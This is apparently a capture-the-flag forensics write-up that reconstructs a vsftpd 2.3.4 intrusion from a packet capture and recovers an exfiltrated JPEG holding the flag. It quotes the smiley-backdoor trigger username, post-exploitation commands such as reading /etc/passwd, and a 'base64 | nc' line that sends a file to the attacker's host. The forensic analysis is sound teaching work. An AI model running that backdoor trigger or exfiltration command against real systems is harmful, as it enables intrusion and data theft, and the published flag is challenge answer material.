NewYear 2026 — exFill Writeup

A packet capture of an intrusion against a vsftpd 2.3.4 server. The attacker pops the famous smiley backdoor, lands a root shell, then exfiltrates a JPEG as base64 over a reverse shell. Reassemble the stream and the flag is painted inside the stolen image.

3 min read
ibrahimsql
507 words

NewYear 2026 — exFill

A network-forensics challenge built around a real-style intrusion: exploit, privilege gain, discovery, then data exfiltration. The whole story is told by one packet capture.

  • Event: NewYear 2026
  • Category: Forensics
  • Artifact: capture.pcap.xz → capture.pcap
  • Flag format: grodno{...}

1. What is in the capture

$ file capture.pcap
capture.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4
              (Linux cooked v1, capture length 65535)

3972 packets between two hosts:

  • Attacker: 192.168.56.102
  • Victim: 192.168.56.103

Grouping by port, one flow stands out immediately:

Text
21/tcp   FTP control (vsFTPd 2.3.4)
6200/tcp the vsftpd 2.3.4 "smiley" backdoor shell
4444/tcp a reverse shell carrying data
445, 25  SMB and SMTP probes (background noise)

2. The smiley backdoor

Port 21 speaks for itself:

220 (vsFTPd 2.3.4)

Version 2.3.4 carries CVE-2011-2523: any username ending in :) makes the server spawn a root shell on port 6200. In the capture the trigger is right there:

USER 3FVka:)   PASS ssp6

And right after it, a root shell opens on 6200:

etc. 6200:
uid=0(root) gid=0(root)

3. Root shell and discovery

The session on 6200 is a full interactive shell. Reassembling it shows classic post-exploitation discovery followed by a targeted grab:

Text
id
pwd
cat /etc/passwd
ls /home/msfadmin
cd /home/msfadmin
ls -la
sha256sum f1ag.jpg
base64 f1ag.jpg | nc 192.168.56.102 4444

The ls -la output confirms the target:

-rw-r--r-- 1 msfadmin msfadmin  46852 Jan  6 09:45 f1ag.jpg
af811f3e2f6191bed1e625edc18e3ac37e1e165e0fdcbab4cfb9c301bbb5211f  f1ag.jpg

So the goal is a 46,852-byte JPEG, and the attacker pipes its base64 encoding straight into nc back to 192.168.56.102:4444.

4. Reassembling the exfiltrated stream

TCP on 4444 must be rebuilt per direction, sorted by sequence number. The victim-to-attacker direction holds the payload:

Python
from scapy.all import rdpcap, IP, TCP, Raw
import base64, re
 
pk = rdpcap("capture.pcap")
streams = {}
for p in pk:
    if IP in p and TCP in p and Raw in p:
        k = (p[IP].src, p[TCP].sport, p[IP].dst, p[TCP].dport)
        streams.setdefault(k, []).append((p[TCP].seq, bytes(p[TCP].payload)))
 
def cat(k):
    return b"".join(b for _, b in sorted(streams.get(k, [])))
 
data = cat(("192.168.56.103", 38553, "192.168.56.102", 4444))
b64 = re.sub(rb"[^A-Za-z0-9+/=]", b"", data)
open("f1ag.jpg", "wb").write(base64.b64decode(b64 + b"=" * (-len(b64) % 4)))

The decoded blob starts with the JPEG magic ff d8 ff db and is exactly 46,852 bytes — the same size the victim's ls -la reported. The integrity check lines up too:

$ shasum -a 256 f1ag.jpg
af811f3e2f6191bed1e625edc18e3ac37e1e165e0fdcbab4cfb9c301bbb5211f  f1ag.jpg

The recovered file is byte-identical to f1ag.jpg on the victim's disk.

5. The flag is in the picture

Opening the JPEG reveals the flag rendered as text inside the image:

$ strings -n 6 f1ag.jpg | grep -i grodno
+grodno{it5_was_t00_s1mple_=D}

6. Flag

grodno{it5_was_t00_s1mple_=D}

The lesson is a classic one: base64 | nc is not encryption. A single tcpdump capture on either side of the transfer reveals the exploit chain and hands you the stolen file, and the SHA-256 the attacker helpfully computed for the victim becomes the proof that your reassembled exfil is exact.

---
Share this post:

What do you think?

React to show your appreciation

Related Posts